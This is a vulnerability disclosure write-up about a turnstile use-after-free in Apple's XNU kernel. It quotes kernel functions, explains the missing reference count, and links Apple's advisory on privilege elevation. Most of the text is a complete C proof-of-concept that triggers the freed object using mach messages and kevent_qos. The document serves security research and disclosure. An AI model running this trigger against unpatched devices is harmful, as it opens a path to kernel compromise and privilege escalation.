原文始发于昆仑实验室:XNU kernel object UAF
相关文章
暂无评论...
XNU: turnstile use after free
Different turnstile
objects will be returned from filt_machport_stash_port()
according to
kn_filter
and other flags. And the default case is that the kn_hook
from knote object
would be fetched, without any reference held[a].
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
struct turnstile * filt_machport_stash_port(struct knote *kn, ipc_port_t port, int *link) { struct turnstile *ts = TURNSTILE_NULL; if (kn->kn_filter == EVFILT_WORKLOOP) { assert(kn->kn_mqueue == NULL); kn->kn_mqueue = &port->ip_messages; ip_reference(port); if (link) { *link = PORT_SYNC_LINK_WORKLOOP_KNOTE; } ts = filt_ipc_kqueue_turnstile(kn); } else if (!filt_machport_kqueue_has_turnstile(kn)) { if (link) { *link = PORT_SYNC_LINK_NO_LINKAGE; } } else if (kn->kn_ext[3] == 0) { ip_reference(port); kn->kn_ext[3] = (uintptr_t)port; ts = filt_ipc_kqueue_turnstile(kn); if (link) { *link = PORT_SYNC_LINK_WORKLOOP_KNOTE; } } else { ts = (struct turnstile *)kn->kn_hook; // [a] if (link) { *link = PORT_SYNC_LINK_WORKLOOP_STASH; } } return ts; } |
So what is kn_hook
actually represents? It is turnstile, of course, allocated from
filt_machport_turnstile_prepare_lazily()
[b].
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
void filt_machport_turnstile_prepare_lazily( struct knote *kn, mach_msg_type_name_t msgt_name, ipc_port_t port) { /* This is called from within filt_machportprocess */ assert((kn->kn_status & KN_SUPPRESSED) && (kn->kn_status & KN_LOCKED)); if (!filt_machport_kqueue_has_turnstile(kn)) { return; } if (kn->kn_ext[3] == 0 || kn->kn_hook) { return; } struct turnstile *ts = filt_ipc_kqueue_turnstile(kn); if ((msgt_name == MACH_MSG_TYPE_PORT_SEND_ONCE && port->ip_specialreply) || (msgt_name == MACH_MSG_TYPE_PORT_RECEIVE)) { struct turnstile *kn_ts = turnstile_alloc(); kn_ts = turnstile_prepare((uintptr_t)kn, (struct turnstile **)&kn->kn_hook, kn_ts, TURNSTILE_KNOTE); // [b] turnstile_update_inheritor(kn_ts, ts, TURNSTILE_IMMEDIATE_UPDATE | TURNSTILE_INHERITOR_TURNSTILE); turnstile_cleanup(); } } |
At [a], the returned object doesn’t hold any reference while turnstile is actually a reference counted
object.
If we go further and see what happens we could found that the turnstile will be referenced at [c],
but the condition is that the send_turnstile
exists which is false under normal circumstances.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
static void ipc_port_send_turnstile_recompute_push_locked( ipc_port_t port) { struct turnstile *send_turnstile = port_send_turnstile(port); if (send_turnstile) { turnstile_reference(send_turnstile); ipc_port_send_update_inheritor(port, send_turnstile, TURNSTILE_IMMEDIATE_UPDATE); // [c] } imq_unlock(&port->ip_messages); ip_unlock(port); if (send_turnstile) { turnstile_update_inheritor_complete(send_turnstile, TURNSTILE_INTERLOCK_NOT_HELD); turnstile_deallocate_safe(send_turnstile); } } |
We could send two ports with MACH_MSG_TYPE_MOVE_RECEIVE
disposition in a mach message to normal port and use
kevent to receive the message. Then free the knote which also frees the turnstule attached to the knote.
And then the first port in the message body holds a freed turnstile.
Zweig(@realBrightiup) of Kunlun Lab
A malicious application may be able to elevate privileges
https://support.apple.com/en-us/HT212867
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 |
#include <assert.h> #include <errno.h> #include <mach/mach.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/event.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> struct kevent_qos_s { uint64_t ident; /* identifier for this event */ int16_t filter; /* filter for event */ uint16_t flags; /* general flags */ uint32_t qos; /* quality of service when servicing event */ uint64_t udata; /* opaque user data identifier */ uint32_t fflags; /* filter-specific flags */ uint32_t xflags; /* extra filter-specific flags */ int64_t data; /* filter-specific data */ uint64_t ext[4]; /* filter-specific extensions */ }; int kevent_qos(int kq, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags); mach_port_t thread_get_special_reply_port(); // *TODO* Change `main` to any other name and call it on iOS. int main() { int kq = kqueue(); assert(kq > 0); #define KNOTE_PORT_COUNT 2 kern_return_t kr = KERN_SUCCESS; mach_port_t sync_port = MACH_PORT_NULL, knote_port[KNOTE_PORT_COUNT] = {MACH_PORT_NULL}; kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sync_port); assert(kr == KERN_SUCCESS); for (size_t i = 0; i < KNOTE_PORT_COUNT; i++) { kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &knote_port[i]); assert(kr == KERN_SUCCESS); } typedef struct sync_knote_msg_local_s sync_knote_msg_local_t; typedef struct sync_knote_msg_remote_s sync_knote_msg_remote_t; #pragma pack(4) struct sync_knote_msg_local_s { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t port[KNOTE_PORT_COUNT]; uint64_t sequence; }; #pragma pack(0) #pragma pack(4) struct sync_knote_msg_remote_s { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t port[KNOTE_PORT_COUNT]; uint64_t sequence; mach_msg_trailer_t trailer; }; #pragma pack(0) union { sync_knote_msg_local_t local; sync_knote_msg_remote_t remote; } message; sync_knote_msg_local_t *local = &message.local; sync_knote_msg_remote_t *remote = &message.remote; local->header = (mach_msg_header_t){ .msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX), .msgh_remote_port = sync_port, .msgh_local_port = MACH_PORT_NULL, .msgh_voucher_port = MACH_PORT_NULL, .msgh_size = sizeof(sync_knote_msg_local_t), .msgh_id = 0x88888888, }; local->body.msgh_descriptor_count = KNOTE_PORT_COUNT; for (size_t i = 0; i < KNOTE_PORT_COUNT; i++) { local->port[i] = (mach_msg_port_descriptor_t){ .name = knote_port[i], .disposition = MACH_MSG_TYPE_MOVE_RECEIVE, .type = MACH_MSG_PORT_DESCRIPTOR, }; } local->sequence = 0x6666666666666666; kr = mach_msg(&local->header, MACH_SEND_MSG, sizeof(sync_knote_msg_local_t), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL); assert(kr == KERN_SUCCESS); struct kevent_qos_s event = { .ident = sync_port, .filter = EVFILT_MACHPORT, .flags = EV_ADD | EV_ENABLE | EV_DISPATCH, .qos = 0xA00, .udata = 42424242, .fflags = MACH_RCV_MSG, .xflags = 0x00, .data = 0x00, .ext = {(uint64_t)remote, sizeof(*remote), 0, 0}, }; struct kevent_qos_s out_events[1]; int nevents = kevent_qos(kq, &event, 1, out_events, 1, NULL, NULL, 0); assert(nevents == 1 && remote->sequence == 0x6666666666666666); int ret = 0; struct kevent_qos_s del_event = { .ident = sync_port, .filter = EVFILT_MACHPORT, .flags = EV_DELETE, .qos = 0xA00, .udata = 0x00, .fflags = MACH_RCV_MSG, .xflags = 0x00, .data = 0x00, .ext = {0, 0, 0, 0}, }; ret = kevent_qos(kq, &del_event, 1, NULL, 0, NULL, NULL, 0); assert(ret == 0); mach_port_t sr_port = thread_get_special_reply_port(); struct { mach_msg_header_t header; uint64_t sequence; } sync_link_msg = { .header = { .msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, 0, 0), .msgh_remote_port = MACH_PORT_NULL, .msgh_local_port = sr_port, .msgh_voucher_port = MACH_PORT_NULL, .msgh_size = sizeof(sync_link_msg), .msgh_id = 0x86868686, }, .sequence = 0x4242424242424242, }; sync_link_msg.header.msgh_remote_port = remote->port[0].name; kr = mach_msg(&(sync_link_msg.header), MACH_SEND_MSG | MACH_SEND_SYNC_OVERRIDE, sizeof(sync_link_msg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL); assert(kr == KERN_SUCCESS); return 0; } |
原文始发于昆仑实验室:XNU kernel object UAF